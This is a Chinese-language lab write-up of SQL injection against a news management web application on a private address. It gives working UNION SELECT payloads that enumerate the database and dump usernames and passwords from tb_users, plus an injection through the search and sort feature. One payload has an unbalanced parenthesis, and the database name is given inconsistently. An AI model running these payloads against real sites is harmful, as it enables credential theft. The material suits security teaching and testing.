Abstract: 对新闻管理系统进行 SQL 注入

Table of Contents

  1. UNION SELECT 注入
    1. 判断类型
    2. 判断字段数
    3. SQL 注入
      1. 查看数据库名
      2. 查看 mynews 库中的表名
      3. 查看 tb_users 表中的列名
      4. 查看 username 和 password 字段的数据
    4. 排序功能注入

UNION SELECT 注入

测试网址

判断类型

首先进入到一个电影介绍页面,网址上有 id 可能存在 SQL 注入

先在 把id=3改成 id=3-1 发现内容改变了,故可得为整型,若为字符型则内容不变。

判断字段数

因为整型注入故直接在后面加上order by 即可,发现字段数为 3

然后先用

1
http://192.168.100.166/display.php?id=-1 UNION SELECT 1,2,3

判断各字段输出的位置,然后再正式开始 SQL 注入

SQL 注入

查看数据库名
1
http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT group_concat(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA),3

可以看书我们所需要查看的表名是 mynews

查看 mynews 库中的表名
1
http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),3

查看 tb_users 表中的列名
1
http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tb_users',3

查看 usernamepassword 字段的数据
1
http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(username, '-', password) FROM `db_mynews`.`tb_users`),3

排序功能注入

分析:

1
SELECT * FROM news WHERE title like '%1%' or content like '%1%' or author like '%1%' order by '%1%'

首先要判断查询时,哪个字段在前面,否则会影响后面注入过程。

排序界面有三列,分别为标题,内容和作者。所以我们要从这三个方向入手。经过简单的试错,我们可以判断出来标题在最前面。

然后再搜索框输入 好%' ORDER BY 3 显示正常,然后再修改为 好%' UNION SELECT 1,2,3#

把第二个位置换成 user()

然后就可以继续进行其他信息的查询了,和前面一样,这里不再重复。